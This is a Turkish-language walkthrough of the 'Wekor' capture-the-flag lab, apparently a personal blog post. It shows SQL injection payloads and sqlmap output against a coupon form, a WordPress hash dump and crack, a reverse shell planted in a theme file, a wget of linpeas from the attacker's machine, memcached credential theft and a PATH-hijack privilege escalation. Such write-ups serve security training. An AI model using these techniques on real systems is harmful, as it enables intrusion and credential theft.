Post

Wekor

This CTF is focused primarily on enumeration, better understanding of services and thinking out of the box for some parts of this machine.


Wekor


User Flag

Öncelikle siteyi etc/hosts dosyasına ekleyelim.

1
echo '10.10.241.96      wekor.thm' >> /etc/hosts

nmap komutu:

1
2
┌──(root㉿kali)-[~]
└─# nmap -T4 -sV -sC 10.10.241.96   

nmap çıktısı:

1
2
3
4
5
6
7
8
9
10
11
12
13
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 95:c3:ce:af:07:fa:e2:8e:29:04:e4:cd:14:6a:21:b5 (RSA)
|   256 4d:99:b5:68:af:bb:4e:66:ce:72:70:e6:e3:f8:96:a4 (ECDSA)
|_  256 0d:e5:7d:e8:1a:12:c0:dd:b7:66:5e:98:34:55:59:f6 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 9 disallowed entries 
| /workshop/ /root/ /lol/ /agent/ /feed /crawler /boot 
|_/comingreallysoon /interesting
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80 portunda web servisi çalışıyor. Siteyi ziyaret edelim.

robots.txt’yi kontrol ettim.

Neredeyse hepsi 404 veriyor. /comingreallysoon hariç

/it-next’e gittiğimizde websitesi ile karşılaşıyoruz.

Siteyi incelerken alışveriş sepetinde “Apply Coupon” kısmı mevcut. ' or 1=1 payloadını denedim. Error mesajını okuyarak sqli zafiyeti olduğunu görebiliriz.

Zafiyeti sömürmek için 2 farklı yolumuz var. Payloadları kendim yazabilirim veya sqlmap kullanabilirim.

Ben kolay yolu tercih ettim :)

Öncelikle burp suite’den isteği yakalamamız gerekiyor.

İsteği yakalayıp wekor.txt dosyasına kaydettim.

Sonrasında SQLMap çalıştırıyorum.

1
sqlmap -r wekor.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
sqlmap identified the following injection point(s) with a total of 1017 HTTP(s) requests:
---
Parameter: coupon_code (POST)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: coupon_code=' or 1=1 AND GTID_SUBSET(CONCAT(0x71716b6a71,(SELECT (ELT(7514=7514,1))),0x7170627671),7514)-- IGSA&apply_coupon=Apply Coupon

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: coupon_code=' or 1=1 AND (SELECT 9518 FROM (SELECT(SLEEP(5)))FMaw)-- yenf&apply_coupon=Apply Coupon

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: coupon_code=' or 1=1 UNION ALL SELECT NULL,CONCAT(0x71716b6a71,0x6b5a58437758686d734e5166687377454c42436c55444d517a75466f72464a4b7545787048565a71,0x7170627671),NULL-- -&apply_coupon=Apply Coupon
1
sqlmap -r wekor.txt --dbs
1
2
3
4
5
6
7
8
[10:04:14] [INFO] fetching database names
available databases [6]:
[*] coupons
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] wordpress

wordpress database’inin tablolarına baktım.

1
sqlmap -r wekor.txt -D wordpress --tables
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Database: wordpress
[12 tables]
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+

wp_users tablosunda username ve hash olarak password bulunur. Dump edelim.

1
sqlmap -r wekor.txt -D wordpress -T wp_users --dump

Dump dosyasını kontrol edelim.

1
2
3
4
5
6
7
┌──(root㉿kali)-[~/…/output/wekor.thm/dump/wordpress]
└─# cat wp_users.csv 
ID,user_url,user_pass,user_email,user_login,user_status,display_name,user_nicename,user_registered,user_activation_key
1,http://site.wekor.thm/wordpress,$P$BoyfR2QzhNjRNmQZpva6TuuD0EE31B.,admin@wekor.thm,admin,0,admin,admin,2021-01-21 20:33:37,<blank>
5743,http://jeffrey.com,$P$BU8QpWD.kHZv3Vd1r52ibmO913hmj10,jeffrey@wekor.thm,wp_jeffrey,0,wp jeffrey,wp_jeffrey,2021-01-21 20:34:50,1611261290:$P$BufzJsT0fhM94swehg1bpDVTupoxPE0
5773,http://yura.com,$P$B6jSC3m7WdMlLi1/NDb3OFhqv536SV/,yura@wekor.thm,wp_yura,0,wp yura,wp_yura,2021-01-21 20:35:27,<blank>
5873,http://eagle.com,$P$BpyTRbmvfcKyTrbDzaK1zSPgM7J6QY/ (xxxxxx),eagle@wekor.thm,wp_eagle,0,wp eagle,wp_eagle,2021-01-21 20:36:11,<blank>

Dosyada yeni bir subdomain gördüm. /etc/hosts dosyasına kaydettim.

1
echo '10.10.241.96     wekor.thm site.wekor.thm' >> etc/hosts 

Wordpress login paneline ulaştık. Bulduğumuz hash’leri kırarak şifreleri bulacağız ve giriş yapacağız.

1
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
1
admin:rockyou , wp_jeffrey:xxxxxx , wp_yura:soccer13

wp_yura kullanıcısı ile giriş yaptım.

Appearance kısmından Theme Editor’u seçelim. 404.php dosyasının içeriğine reverse shell koyacağız.

nc -nvlp 1234 ile 1234 portunu dinlemeye alalım.

Değiştirdiğimiz 404.php dosyasının yolu: /wordpress/wp-content/themes/twentytwentyone/404.php

Shell’imizi aldık.

/home/Orka/user.txt dosyasını okumak için iznimiz yok.

Makineye linpeas yüklüyorum ve çalıştırıyorum.

1
python3 -m http.server 80
1
2
3
wget 10.9.1.150:80/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

linpeas bir şey bulamadı.

etc/passwd dosyasını görüntülediğimde memecache kullanıcısının olduğunu gördüm.Memcached açık kaynaklı dağıtılmış bir önbellekleme sistemidir. Memcached, veri nesnelerini dinamik bellekte depolar. Default olarak 11211 portunda çalışır. Buradan bir şey elde edebiliriz.

Serviste bulunan key’leri görmek için kullandığım komut: echo "stats cachedump 1 0" | nc -vn -w 1 127.0.0.1 11211

1
2
3
4
5
6
7
8
$ echo "stats cachedump 1 0" | nc -vn -w 1 127.0.0.1 11211
Connection to 127.0.0.1 11211 port [tcp/*] succeeded!
ITEM id [4 b; 1714570001 s]
ITEM email [14 b; 1714570001 s]
ITEM salary [8 b; 1714570001 s]
ITEM password [15 b; 1714570001 s]
ITEM username [4 b; 1714570001 s]
END

username ve password key’lerinin değerlerini görüntülemek için kullandığım komutlar: echo "get username" | nc -vn -w 1 127.0.0.1 11211 | echo "get password" | nc -vn -w 1 127.0.0.1 11211

1
2
3
4
5
6
7
8
9
10
$ echo "get username" | nc -vn -w 1 127.0.0.1 11211
Connection to 127.0.0.1 11211 port [tcp/*] succeeded!
VALUE username 0 4
Orka
END
$ echo "get password" | nc -vn -w 1 127.0.0.1 11211
Connection to 127.0.0.1 11211 port [tcp/*] succeeded!
VALUE password 0 15
OrkAiSC00L24/7$
END

Orka kullanıcısının şifresini bulduk. su orka ile orka kullanıcısına geçelim.

1
2
3
Orka@osboxes:/tmp$ cat /home/Orka/user.txt
cat /home/Orka/user.txt
**************************

sudo -l komutu ile Orka kullanıcısının root yetkisiyle çalıştırabileceği programları aradım.

1
2
3
4
5
6
7
8
9
10
Orka@osboxes:/tmp$ sudo -l
sudo -l
[sudo] password for Orka: OrkAiSC00L24/7$

Matching Defaults entries for Orka on osboxes:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User Orka may run the following commands on osboxes:
    (root) /home/Orka/Desktop/bitcoin

strings ile dosyanın içeriğini görüntülediğimde şifrenin ‘password’ olduğunu ve bir python dosyası çalıştırdığını görüyorum.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
Orka@osboxes:~/Desktop$ strings bitcoin
strings bitcoin
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
gets
sprintf
__isoc99_scanf
puts
__stack_chk_fail
__ctype_b_loc
system
sleep
strcmp
__libc_start_main
__gmon_start__
GLIBC_2.3
GLIBC_2.7
GLIBC_2.4
GLIBC_2.0
PTRh
QVh+
UWVS
t$,U
[^_]
Enter the password : 
password
Access Denied... 
Access Granted...
			User Manual:			
Maximum Amount Of BitCoins Possible To Transfer at a time : 9 
Amounts with more than one number will be stripped off! 
And Lastly, be careful, everything is logged :) 
Amount Of BitCoins : 
 Sorry, This is not a valid amount! 
python /home/Orka/Desktop/transfer.py %c
;*2$",
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7209
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
bitcoin.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
strcmp@@GLIBC_2.0
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
gets@@GLIBC_2.0
_edata
sleep@@GLIBC_2.0
__stack_chk_fail@@GLIBC_2.4
__data_start
puts@@GLIBC_2.0
system@@GLIBC_2.0
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_fp_hw
__bss_start
main
_Jv_RegisterClasses
sprintf@@GLIBC_2.0
__isoc99_scanf@@GLIBC_2.7
__TMC_END__
_ITM_registerTMCloneTable
__ctype_b_loc@@GLIBC_2.3
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment

Python dosyası bir yola bağlı olarak çalıştığından PATH değişkenine bakalım.

1
2
3
Orka@osboxes:~/Desktop$ echo $PATH                                                                  
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

/usr/sbin dizinindeki okuma yazma izinlerine bakalım.

1
2
3
4
5
6
7
8
9
10
11
12
Orka@osboxes:~/Desktop$ ls -la /usr/sbin | head
ls -la /usr/sbin | head
total 41284
drwxrwxr-x  2 root Orka    12288 Jan 23  2021 .
drwxr-xr-x 11 root root     4096 Feb 26  2019 ..
lrwxrwxrwx  1 root root        7 Aug 12  2020 a2disconf -> a2enmod
lrwxrwxrwx  1 root root        7 Aug 12  2020 a2dismod -> a2enmod
lrwxrwxrwx  1 root root        7 Aug 12  2020 a2dissite -> a2enmod
lrwxrwxrwx  1 root root        7 Aug 12  2020 a2enconf -> a2enmod
-rwxr-xr-x  1 root root    15424 Jul 15  2020 a2enmod
lrwxrwxrwx  1 root root        7 Aug 12  2020 a2ensite -> a2enmod
-rwxr-xr-x  1 root root     9870 Aug 12  2020 a2query

/usr/sbin dizininde tüm izinler mevcut. /usr/sbin dizininde python adında bir dosya oluşturalım ve root olabilecek şekilde değişiklik yapalım.

Bir dosyaya çoklu satırda girdi girebilmek için cat > « EOF kullanılır.

1
2
3
4
5
6
7
8
Orka@osboxes:~/Desktop$ cat > /usr/sbin/python << EOF
cat > /usr/sbin/python << EOF
> #!/bin/bash
#!/bin/bash
> /bin/bash
/bin/bash
> EOF
EOF

Python dosyasını root olacak şekilde ayarladık.

chmod +x /usr/sbin/python ile dosyayı çalıştırma izni verelim.

Ve son olarak sudo /home/Orka/Desktop/bitcoin ile dosyayı çalıştıralım.

1
2
3
4
5
6
7
8
9
10
11
12
Orka@osboxes:~/Desktop$ sudo /home/Orka/Desktop/bitcoin
sudo /home/Orka/Desktop/bitcoin
Enter the password : password
password
Access Granted...
			User Manual:			
Maximum Amount Of BitCoins Possible To Transfer at a time : 9 
Amounts with more than one number will be stripped off! 
And Lastly, be careful, everything is logged :) 
Amount Of BitCoins : 31
31
root@osboxes:~/Desktop#  

Makineyi rootladık :)


fsoc

This post is licensed under CC BY 4.0 by the author.